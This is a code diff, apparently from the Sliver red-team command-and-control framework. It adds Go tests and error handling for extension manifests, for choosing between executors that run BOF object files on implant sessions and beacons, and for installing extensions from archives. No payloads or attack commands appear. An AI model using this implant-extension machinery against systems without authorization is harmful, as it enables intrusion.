||||
|
||||
_, err = os.Stat(markerPath)
|
||||
if test.wantDeleted && !os.IsNotExist(err) {
|
||||
t.Errorf("managed extension directory was not deleted: %v", err)
|
||||
}
|
||||
if !test.wantDeleted && err != nil {
|
||||
t.Errorf("external extension directory was modified: %v", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseExtensionManifest(t *testing.T) {
|
||||
expectedPath := util.ResolvePath("foo/test1.dll")
|
||||
|
||||
@@ -189,6 +302,218 @@ func TestParseExtensionManifest(t *testing.T) {
|
||||
|
||||
}
|
||||
|
||||
func TestConvertOldManifestPreservesInit(t *testing.T) {
|
||||
const initExport = "InitializeExtension"
|
||||
|
||||
manifest, err := ParseExtensionManifest([]byte(`{
|
||||
"name": "legacy-test",
|
||||
"command_name": "legacy-test",
|
||||
"help": "some help",
|
||||
"init": "InitializeExtension",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test.dll"
|
||||
}
|
||||
]
|
||||
}`))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing legacy extension manifest: %s", err)
|
||||
}
|
||||
if len(manifest.ExtCommand) != 1 {
|
||||
t.Fatalf("Expected 1 extension command, got %d", len(manifest.ExtCommand))
|
||||
}
|
||||
if manifest.ExtCommand[0].Init != initExport {
|
||||
t.Errorf("Expected init export %q, got %q", initExport, manifest.ExtCommand[0].Init)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionPropagatesInit(t *testing.T) {
|
||||
const initExport = "InitializeExtension"
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
session *clientpb.Session
|
||||
beacon *clientpb.Beacon
|
||||
wantAsync bool
|
||||
wantID string
|
||||
}{
|
||||
{
|
||||
name: "session",
|
||||
session: &clientpb.Session{ID: "session-id"},
|
||||
wantID: "session-id",
|
||||
},
|
||||
{
|
||||
name: "beacon",
|
||||
beacon: &clientpb.Beacon{ID: "beacon-id"},
|
||||
wantAsync: true,
|
||||
wantID: "beacon-id",
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
var gotReq *sliverpb.RegisterExtensionReq
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, req *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
gotReq = req
|
||||
return &sliverpb.RegisterExtension{Response: &commonpb.Response{}}, nil
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, test.session, test.beacon)
|
||||
|
||||
err := registerExtension("linux", &ExtCommand{CommandName: "test", Init: initExport}, []byte("extension"), nil, con)
|
||||
if err != nil {
|
||||
t.Fatalf("RegisterExtension returned an error: %s", err)
|
||||
}
|
||||
if gotReq == nil {
|
||||
t.Fatal("RegisterExtension RPC was not called")
|
||||
}
|
||||
if gotReq.Init != initExport {
|
||||
t.Errorf("Expected init export %q, got %q", initExport, gotReq.Init)
|
||||
}
|
||||
if gotReq.Request.GetAsync() != test.wantAsync {
|
||||
t.Errorf("Expected async=%t, got %t", test.wantAsync, gotReq.Request.GetAsync())
|
||||
}
|
||||
if test.wantAsync && gotReq.Request.GetBeaconID() != test.wantID {
|
||||
t.Errorf("Expected beacon ID %q, got %q", test.wantID, gotReq.Request.GetBeaconID())
|
||||
}
|
||||
if !test.wantAsync && gotReq.Request.GetSessionID() != test.wantID {
|
||||
t.Errorf("Expected session ID %q, got %q", test.wantID, gotReq.Request.GetSessionID())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionWaitsForBeaconRegistration(t *testing.T) {
|
||||
started := make(chan struct{})
|
||||
release := make(chan struct{})
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, _ *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
close(started)
|
||||
<-release
|
||||
return &sliverpb.RegisterExtension{Response: &commonpb.Response{Async: true}}, nil
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, nil, &clientpb.Beacon{ID: "beacon-id"})
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
done <- registerExtension("linux", &ExtCommand{CommandName: "test"}, []byte("extension"), nil, con)
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-started:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("Timed out waiting for RegisterExtension RPC")
|
||||
}
|
||||
select {
|
||||
case err := <-done:
|
||||
t.Fatalf("RegisterExtension returned before the beacon registration was enqueued: %v", err)
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
}
|
||||
close(release)
|
||||
select {
|
||||
case err := <-done:
|
||||
if err != nil {
|
||||
t.Fatalf("RegisterExtension returned an error: %s", err)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("Timed out waiting for RegisterExtension to return")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionReturnsBeaconRPCError(t *testing.T) {
|
||||
wantErr := errors.New("register failed")
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, _ *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
return nil, wantErr
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, nil, &clientpb.Beacon{ID: "beacon-id"})
|
||||
|
||||
err := registerExtension("linux", &ExtCommand{CommandName: "test"}, []byte("extension"), nil, con)
|
||||
if !errors.Is(err, wantErr) {
|
||||
t.Fatalf("Expected error %q, got %v", wantErr, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegisterExtensionRejectsNilResponse(t *testing.T) {
|
||||
rpc := ®isterExtensionTestRPC{
|
||||
register: func(_ context.Context, _ *sliverpb.RegisterExtensionReq, _ ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
return nil, nil
|
||||
},
|
||||
}
|
||||
con := newExtensionTestConsole(t, rpc, &clientpb.Session{ID: "session-id"}, nil)
|
||||
|
||||
if err := registerExtension("linux", &ExtCommand{CommandName: "test"}, []byte("extension"), nil, con); err == nil {
|
||||
t.Fatal("RegisterExtension accepted a nil response")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtensionCommandVisibilityUsesExactTargetPairs(t *testing.T) {
|
||||
extension := &ExtCommand{Files: []*extensionFile{
|
||||
{OS: "windows", Arch: "amd64"},
|
||||
{OS: "linux", Arch: "amd64"},
|
||||
{OS: "darwin", Arch: "arm64"},
|
||||
}}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
session *clientpb.Session
|
||||
beacon *clientpb.Beacon
|
||||
wantVisible bool
|
||||
}{
|
||||
{
|
||||
name: "cross-platform Linux session",
|
||||
session: &clientpb.Session{OS: "linux", Arch: "amd64"},
|
||||
wantVisible: true,
|
||||
},
|
||||
{
|
||||
name: "cross-platform macOS beacon",
|
||||
beacon: &clientpb.Beacon{OS: "darwin", Arch: "arm64"},
|
||||
wantVisible: true,
|
||||
},
|
||||
{
|
||||
name: "cross-platform Windows session",
|
||||
session: &clientpb.Session{OS: "windows", Arch: "amd64"},
|
||||
wantVisible: true,
|
||||
},
|
||||
{
|
||||
name: "Linux architecture mismatch",
|
||||
session: &clientpb.Session{OS: "linux", Arch: "arm64"},
|
||||
wantVisible: false,
|
||||
},
|
||||
{
|
||||
name: "macOS architecture mismatch",
|
||||
beacon: &clientpb.Beacon{OS: "darwin", Arch: "amd64"},
|
||||
wantVisible: false,
|
||||
},
|
||||
{
|
||||
name: "Windows architecture mismatch",
|
||||
session: &clientpb.Session{OS: "windows", Arch: "386"},
|
||||
wantVisible: false,
|
||||
},
|
||||
{
|
||||
name: "unsupported native extension target",
|
||||
beacon: &clientpb.Beacon{OS: "linux", Arch: "riscv64"},
|
||||
wantVisible: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
con := newExtensionTestConsole(t, nil, test.session, test.beacon)
|
||||
command := &cobra.Command{Annotations: makeCommandPlatformFilters(extension)}
|
||||
activeFilters := con.App.Menu(consts.ImplantMenu).ActiveFiltersFor(command)
|
||||
visible := len(activeFilters) == 0
|
||||
if visible != test.wantVisible {
|
||||
t.Fatalf("command visibility = %t, want %t (active filters: %v)", visible, test.wantVisible, activeFilters)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseMultipleCmdManifest(t *testing.T) {
|
||||
expectedPath := util.ResolvePath("ex.dll")
|
||||
|
||||
@@ -323,3 +648,285 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseExtensionManifestBOFExecutor(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
data string
|
||||
want string
|
||||
}{
|
||||
{
|
||||
name: "multi-command manifest",
|
||||
data: `{
|
||||
"name":"modern-bof",
|
||||
"commands":[{
|
||||
"command_name":"modern-bof",
|
||||
"help":"test",
|
||||
"bof_executor":"reflektor",
|
||||
"files":[{"os":"windows","arch":"amd64","path":"modern.o"}]
|
||||
}]
|
||||
}`,
|
||||
want: BOFExecutorReflektor,
|
||||
},
|
||||
{
|
||||
name: "legacy manifest",
|
||||
data: `{
|
||||
"name":"legacy-bof",
|
||||
"command_name":"legacy-bof",
|
||||
"help":"test",
|
||||
"bof_executor":"coff-loader",
|
||||
"depends_on":"custom-loader",
|
||||
"files":[{"os":"windows","arch":"amd64","path":"legacy.o"}]
|
||||
}`,
|
||||
want: BOFExecutorCOFFLoader,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
manifest, err := ParseExtensionManifest([]byte(test.data))
|
||||
if err != nil {
|
||||
t.Fatalf("ParseExtensionManifest returned an error: %s", err)
|
||||
}
|
||||
if got := manifest.ExtCommand[0].BOFExecutor; got != test.want {
|
||||
t.Fatalf("BOFExecutor = %q, want %q", got, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseExtensionManifestRejectsInvalidBOFExecutor(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
executor string
|
||||
dependsOn string
|
||||
wantErrPart string
|
||||
}{
|
||||
{
|
||||
name: "executor must be exact lowercase",
|
||||
executor: "Reflektor",
|
||||
wantErrPart: "invalid `bof_executor`",
|
||||
},
|
||||
{
|
||||
name: "unknown executor",
|
||||
executor: "other-loader",
|
||||
wantErrPart: "invalid `bof_executor`",
|
||||
},
|
||||
{
|
||||
name: "coff loader requires dependency",
|
||||
executor: BOFExecutorCOFFLoader,
|
||||
wantErrPart: "no `depends_on` fallback",
|
||||
},
|
||||
{
|
||||
name: "coff loader rejects whitespace dependency",
|
||||
executor: BOFExecutorCOFFLoader,
|
||||
dependsOn: " \t",
|
||||
wantErrPart: "no `depends_on` fallback",
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
manifest := &ExtensionManifest{
|
||||
Name: "test",
|
||||
ExtCommand: []*ExtCommand{{
|
||||
CommandName: "test",
|
||||
Help: "test",
|
||||
BOFExecutor: test.executor,
|
||||
DependsOn: test.dependsOn,
|
||||
Files: []*extensionFile{{
|
||||
OS: "windows", Arch: "amd64", Path: "test.o",
|
||||
}},
|
||||
}},
|
||||
}
|
||||
err := validManifest(manifest)
|
||||
if err == nil || !strings.Contains(err.Error(), test.wantErrPart) {
|
||||
t.Fatalf("validManifest error = %v, want error containing %q", err, test.wantErrPart)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlanExtensionExecution(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
ext *ExtCommand
|
||||
path string
|
||||
capabilities uint64
|
||||
want extensionExecutionMode
|
||||
wantErr bool
|
||||
}{
|
||||
{
|
||||
name: "native artifact remains native",
|
||||
ext: &ExtCommand{CommandName: "native"},
|
||||
path: "native.dll",
|
||||
want: extensionExecutionNative,
|
||||
},
|
||||
{
|
||||
name: "legacy manifest keeps dependency route",
|
||||
ext: &ExtCommand{CommandName: "legacy", DependsOn: "coff-loader"},
|
||||
path: "legacy.o",
|
||||
capabilities: sliverpb.CapabilityBOFV1,
|
||||
want: extensionExecutionCOFFLoader,
|
||||
},
|
||||
{
|
||||
name: "explicit coff loader is authoritative",
|
||||
ext: &ExtCommand{CommandName: "coff", BOFExecutor: BOFExecutorCOFFLoader, DependsOn: "custom-loader"},
|
||||
path: "coff.bin",
|
||||
capabilities: sliverpb.CapabilityBOFV1,
|
||||
want: extensionExecutionCOFFLoader,
|
||||
},
|
||||
{
|
||||
name: "explicit Reflektor uses capable target",
|
||||
ext: &ExtCommand{CommandName: "builtin", BOFExecutor: BOFExecutorReflektor, DependsOn: "coff-loader"},
|
||||
path: "builtin.o",
|
||||
capabilities: sliverpb.CapabilityBOFV1,
|
||||
want: extensionExecutionReflektor,
|
||||
},
|
||||
{
|
||||
name: "explicit Reflektor falls back to dependency",
|
||||
ext: &ExtCommand{CommandName: "fallback", BOFExecutor: BOFExecutorReflektor, DependsOn: "coff-loader"},
|
||||
path: "fallback.o",
|
||||
want: extensionExecutionCOFFLoader,
|
||||
},
|
||||
{
|
||||
name: "dependency-free BOF defaults to Reflektor",
|
||||
ext: &ExtCommand{CommandName: "default"},
|
||||
path: "default.o",
|
||||
capabilities: sliverpb.CapabilityBOFV1,
|
||||
want: extensionExecutionReflektor,
|
||||
},
|
||||
{
|
||||
name: "uppercase object extension is a BOF",
|
||||
ext: &ExtCommand{CommandName: "uppercase"},
|
||||
path: "uppercase.O",
|
||||
capabilities: sliverpb.CapabilityBOFV1,
|
||||
want: extensionExecutionReflektor,
|
||||
},
|
||||
{
|
||||
name: "unsupported dependency-free BOF fails closed",
|
||||
ext: &ExtCommand{CommandName: "unsupported"},
|
||||
path: "unsupported.o",
|
||||
wantErr: true,
|
||||
},
|
||||
{
|
||||
name: "coff loader without dependency fails closed",
|
||||
ext: &ExtCommand{CommandName: "missing", BOFExecutor: BOFExecutorCOFFLoader},
|
||||
path: "missing.o",
|
||||
wantErr: true,
|
||||
},
|
||||
{
|
||||
name: "invalid executor fails closed",
|
||||
ext: &ExtCommand{CommandName: "invalid", BOFExecutor: "other"},
|
||||
path: "invalid.o",
|
||||
capabilities: sliverpb.CapabilityBOFV1,
|
||||
wantErr: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
got, err := planExtensionExecution(test.ext, test.path, test.capabilities)
|
||||
if test.wantErr {
|
||||
if err == nil {
|
||||
t.Fatalf("planExtensionExecution returned mode %d, want error", got)
|
||||
}
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
t.Fatalf("planExtensionExecution returned an error: %s", err)
|
||||
}
|
||||
if got != test.want {
|
||||
t.Fatalf("planExtensionExecution mode = %d, want %d", got, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCallExtensionRequestPreservesLegacyWireFields(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
objectData := []byte("object-data")
|
||||
loaderData := []byte("loader-data")
|
||||
objectPath := filepath.Join(root, "object.o")
|
||||
loaderPath := filepath.Join(root, "loader.dll")
|
||||
if err := os.WriteFile(objectPath, objectData, 0o600); err != nil {
|
||||
t.Fatalf("write object fixture: %s", err)
|
||||
}
|
||||
if err := os.WriteFile(loaderPath, loaderData, 0o600); err != nil {
|
||||
t.Fatalf("write loader fixture: %s", err)
|
||||
}
|
||||
|
||||
const loaderName = "custom-loader"
|
||||
previousLoader, hadPreviousLoader := loadedExtensions[loaderName]
|
||||
defer func() {
|
||||
if hadPreviousLoader {
|
||||
loadedExtensions[loaderName] = previousLoader
|
||||
} else {
|
||||
delete(loadedExtensions, loaderName)
|
||||
}
|
||||
}()
|
||||
loaderManifest := &ExtensionManifest{Name: loaderName, RootPath: root}
|
||||
loadedExtensions[loaderName] = &ExtCommand{
|
||||
CommandName: loaderName,
|
||||
Entrypoint: "RunCOFF",
|
||||
Files: []*extensionFile{{
|
||||
OS: "windows", Arch: "amd64", Path: filepath.Base(loaderPath),
|
||||
}},
|
||||
Manifest: loaderManifest,
|
||||
}
|
||||
|
||||
legacyArgs := []byte{0x01, 0x02, 0x03, 0x04}
|
||||
ext := &ExtCommand{CommandName: "test-bof", DependsOn: loaderName}
|
||||
got, err := buildCallExtensionRequest("windows", "amd64", extensionExecutionCOFFLoader, ext, objectPath, "RunCOFF", legacyArgs)
|
||||
if err != nil {
|
||||
t.Fatalf("buildCallExtensionRequest returned an error: %s", err)
|
||||
}
|
||||
loaderHash := sha256.Sum256(loaderData)
|
||||
want := &sliverpb.CallExtensionReq{
|
||||
Name: hex.EncodeToString(loaderHash[:]),
|
||||
Export: "RunCOFF",
|
||||
Args: legacyArgs,
|
||||
}
|
||||
gotWire, err := proto.Marshal(got)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal actual request: %s", err)
|
||||
}
|
||||
wantWire, err := proto.Marshal(want)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal expected request: %s", err)
|
||||
}
|
||||
if !bytes.Equal(gotWire, wantWire) {
|
||||
t.Fatalf("legacy request wire bytes changed:\n got: %x\nwant: %x", gotWire, wantWire)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCallExtensionRequestForReflektor(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
objectData := []byte("object-data")
|
||||
objectPath := filepath.Join(root, "object.o")
|
||||
if err := os.WriteFile(objectPath, objectData, 0o600); err != nil {
|
||||
t.Fatalf("write object fixture: %s", err)
|
||||
}
|
||||
|
||||
typedArgs := []byte{0x05, 0x06}
|
||||
got, err := buildCallExtensionRequest("windows", "amd64", extensionExecutionReflektor, &ExtCommand{CommandName: "test-bof"}, objectPath, "go", typedArgs)
|
||||
if err != nil {
|
||||
t.Fatalf("buildCallExtensionRequest returned an error: %s", err)
|
||||
}
|
||||
objectHash := sha256.Sum256(objectData)
|
||||
if got.Name != hex.EncodeToString(objectHash[:]) {
|
||||
t.Errorf("Name = %q, want object hash %q", got.Name, hex.EncodeToString(objectHash[:]))
|
||||
}
|
||||
if got.Export != "go" {
|
||||
t.Errorf("Export = %q, want %q", got.Export, "go")
|
||||
}
|
||||
if !bytes.Equal(got.Args, typedArgs) {
|
||||
t.Errorf("Args = %x, want %x", got.Args, typedArgs)
|
||||
}
|
||||
if !bytes.Equal(got.BOFData, objectData) {
|
||||
t.Errorf("BOFData = %q, want %q", got.BOFData, objectData)
|
||||
}
|
||||
if !got.IsBOF {
|
||||
t.Error("IsBOF = false, want true")
|
||||
}
|
||||
}
|
||||
@@ -40,7 +40,21 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
return
|
||||
}
|
||||
InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
|
||||
_ = InstallFromDir(extLocalPath, true, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
|
||||
}
|
||||
|
||||
func readExtensionManifest(extLocalPath string, isGz bool) ([]byte, error) {
|
||||
if isGz {
|
||||
return util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
}
|
||||
return os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
}
|
||||
|
||||
func extensionPackageID(manifest *ExtensionManifest) string {
|
||||
if manifest.PackageName != "" {
|
||||
return manifest.PackageName
|
||||
}
|
||||
return manifest.Name
|
||||
}
|
||||
|
||||
// InstallFromDir installs a Sliver extension from either a local directory or gzipped archive.
|
||||
@@ -54,37 +68,28 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
// - con: Sliver console client for displaying status and error messages
|
||||
// - isGz: Whether the source is a gzipped archive (true) or directory (false)
|
||||
//
|
||||
// The function will return early with error messages printed to console if:
|
||||
// The function returns errors after printing them to the console if:
|
||||
// - The manifest cannot be read or parsed
|
||||
// - Required directories cannot be created
|
||||
// - File copy operations fail
|
||||
// - User declines overwrite when prompted
|
||||
func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) {
|
||||
var manifestData []byte
|
||||
var err error
|
||||
|
||||
if isGz {
|
||||
manifestData, err = util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
} else {
|
||||
manifestData, err = os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
}
|
||||
//
|
||||
// Declining an overwrite prompt cancels the installation without an error.
|
||||
func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.SliverClient, isGz bool) error {
|
||||
manifestData, err := readExtensionManifest(extLocalPath, isGz)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
return fmt.Errorf("read %s: %w", ManifestFileName, err)
|
||||
}
|
||||
|
||||
manifestF, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
return fmt.Errorf("parse %s: %w", ManifestFileName, err)
|
||||
}
|
||||
|
||||
// Use package name if available, otherwise use extension name
|
||||
// (Note, for v1 manifests this will actually be command_name)
|
||||
packageID := manifestF.Name
|
||||
if manifestF.PackageName != "" {
|
||||
packageID = manifestF.PackageName
|
||||
}
|
||||
packageID := extensionPackageID(manifestF)
|
||||
|
||||
//create repo path
|
||||
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(packageID))
|
||||
@@ -94,7 +99,7 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
|
||||
confirm := false
|
||||
_ = forms.Confirm("Overwrite current install?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(minstallPath)
|
||||
@@ -103,13 +108,13 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
|
||||
err = os.MkdirAll(minstallPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating extension directory: %s\n", err)
|
||||
return
|
||||
return fmt.Errorf("create extension directory: %w", err)
|
||||
}
|
||||
err = os.WriteFile(filepath.Join(minstallPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(minstallPath)
|
||||
return
|
||||
return fmt.Errorf("write %s: %w", ManifestFileName, err)
|
||||
}
|
||||
|
||||
for _, manifest := range manifestF.ExtCommand {
|
||||
@@ -125,7 +130,7 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating extension directory: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
return fmt.Errorf("create extension artifact directory: %w", err)
|
||||
}
|
||||
err = util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
@@ -135,11 +140,12 @@ func InstallFromDir(extLocalPath string, promptToOverwrite bool, con *console.Sl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error installing command: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
return fmt.Errorf("install extension artifact: %w", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string) error {
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"errors"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/klauspost/compress/gzip"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
type installArchiveMember struct {
|
||||
name string
|
||||
data []byte
|
||||
}
|
||||
|
||||
const installTestManifest = `{
|
||||
"name": "Test Extension",
|
||||
"package_name": "test-extension",
|
||||
"version": "v1.0.0",
|
||||
"commands": [{
|
||||
"command_name": "test-command",
|
||||
"help": "test command",
|
||||
"files": [{"os": "windows", "arch": "amd64", "path": "foo/test.dll"}]
|
||||
}]
|
||||
}`
|
||||
|
||||
func writeInstallArchive(t *testing.T, prefix string, members ...installArchiveMember) string {
|
||||
t.Helper()
|
||||
archivePath := filepath.Join(t.TempDir(), "extension.tar.gz")
|
||||
archive, err := os.Create(archivePath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
gzipWriter := gzip.NewWriter(archive)
|
||||
tarWriter := tar.NewWriter(gzipWriter)
|
||||
for _, member := range members {
|
||||
header := &tar.Header{
|
||||
Name: prefix + member.name,
|
||||
Mode: 0o600,
|
||||
Size: int64(len(member.data)),
|
||||
Typeflag: tar.TypeReg,
|
||||
}
|
||||
if err := tarWriter.WriteHeader(header); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := tarWriter.Write(member.data); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
if err := tarWriter.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := gzipWriter.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := archive.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return archivePath
|
||||
}
|
||||
|
||||
func testInstallConsole(t *testing.T) *console.SliverClient {
|
||||
t.Helper()
|
||||
con := console.NewConsole(false)
|
||||
emptyCommands := func() *cobra.Command { return &cobra.Command{Use: "test"} }
|
||||
if err := console.StartClient(
|
||||
con, nil, nil, nil, emptyCommands, emptyCommands, false, "",
|
||||
); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return con
|
||||
}
|
||||
|
||||
func TestInstallFromDirAcceptsPrefixedAndUnprefixedArchives(t *testing.T) {
|
||||
for _, prefix := range []string{"./", ""} {
|
||||
name := "unprefixed"
|
||||
if prefix != "" {
|
||||
name = "prefixed"
|
||||
}
|
||||
t.Run(name, func(t *testing.T) {
|
||||
t.Setenv("SLIVER_CLIENT_ROOT_DIR", t.TempDir())
|
||||
archivePath := writeInstallArchive(t, prefix,
|
||||
installArchiveMember{name: ManifestFileName, data: []byte(installTestManifest)},
|
||||
installArchiveMember{name: "foo/test.dll", data: []byte("extension data")},
|
||||
)
|
||||
|
||||
if err := InstallFromDir(archivePath, false, testInstallConsole(t), true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
installRoot := filepath.Join(assets.GetExtensionsDir(), "test-extension")
|
||||
if _, err := os.Stat(filepath.Join(installRoot, ManifestFileName)); err != nil {
|
||||
t.Fatalf("installed manifest: %v", err)
|
||||
}
|
||||
artifact, err := os.ReadFile(filepath.Join(installRoot, "foo", "test.dll"))
|
||||
if err != nil {
|
||||
t.Fatalf("installed artifact: %v", err)
|
||||
}
|
||||
if string(artifact) != "extension data" {
|
||||
t.Fatalf("artifact data = %q", artifact)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallFromDirReturnsMissingManifest(t *testing.T) {
|
||||
t.Setenv("SLIVER_CLIENT_ROOT_DIR", t.TempDir())
|
||||
archivePath := writeInstallArchive(t, "./",
|
||||
installArchiveMember{name: "foo/test.dll", data: []byte("extension data")},
|
||||
)
|
||||
err := InstallFromDir(archivePath, false, testInstallConsole(t), true)
|
||||
if !errors.Is(err, fs.ErrNotExist) {
|
||||
t.Fatalf("error = %v, want fs.ErrNotExist", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallFromDirReturnsMissingArtifactAndCleansUp(t *testing.T) {
|
||||
t.Setenv("SLIVER_CLIENT_ROOT_DIR", t.TempDir())
|
||||
archivePath := writeInstallArchive(t, "./",
|
||||
installArchiveMember{name: ManifestFileName, data: []byte(installTestManifest)},
|
||||
)
|
||||
err := InstallFromDir(archivePath, false, testInstallConsole(t), true)
|
||||
if !errors.Is(err, fs.ErrNotExist) {
|
||||
t.Fatalf("error = %v, want fs.ErrNotExist", err)
|
||||
}
|
||||
installRoot := filepath.Join(assets.GetExtensionsDir(), "test-extension")
|
||||
if _, err := os.Stat(installRoot); !errors.Is(err, fs.ErrNotExist) {
|
||||
t.Fatalf("install directory was not cleaned up: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -54,6 +54,20 @@ const (
|
||||
|
||||
// ManifestFileName - Extension manifest file name.
|
||||
ManifestFileName = "extension.json"
|
||||
|
||||
// BOFExecutorReflektor selects the built-in Reflektor BOF executor.
|
||||
BOFExecutorReflektor = "reflektor"
|
||||
|
||||
// BOFExecutorCOFFLoader selects the manifest's depends_on COFF loader.
|
||||
BOFExecutorCOFFLoader = "coff-loader"
|
||||
)
|
||||
|
||||
type extensionExecutionMode uint8
|
||||
|
||||
const (
|
||||
extensionExecutionNative extensionExecutionMode = iota
|
||||
extensionExecutionCOFFLoader
|
||||
extensionExecutionReflektor
|
||||
)
|
||||
|
||||
var loadedExtensions = map[string]*ExtCommand{}
|
||||
@@ -72,6 +86,7 @@ type ExtensionManifest_ struct {
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
BOFExecutor string `json:"bof_executor"`
|
||||
